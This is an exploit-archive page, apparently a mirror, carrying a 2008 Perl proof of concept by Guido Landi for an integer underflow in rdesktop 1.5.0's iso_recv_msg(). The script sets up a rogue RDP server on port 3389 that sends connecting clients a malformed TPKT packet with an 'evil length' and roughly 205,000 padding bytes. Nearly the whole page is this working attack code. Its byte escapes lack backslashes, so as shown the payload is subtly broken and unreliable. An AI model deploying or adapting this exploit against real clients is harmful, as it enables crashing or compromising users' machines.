[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : rdesktop 1.5.0 iso_recv_msg() Integer Underflow Vulnerability PoC
# Published : 2008-05-08
# Author : Guido Landi
# Previous Title : rdesktop 1.5.0 process_redirect_pdu() BSS Overflow Vulnerability PoC
# Next Title : Google Chrome Browser 0.2.149.27 malicious link DoS Vulnerability


#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=696

use warnings;
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

while(my $c = $sock->accept())
{
        print $c        "x03"                          .# TPKT version
                        "x00"                          .# reserved
                        "x00x01"                      .# evil length here 
                        "x06xd0x00x00x12x34x00"  .
                        "x41" x 204942;

        sleep 1;
        close $sock;
}

# www.Syue.com [2008-05-08]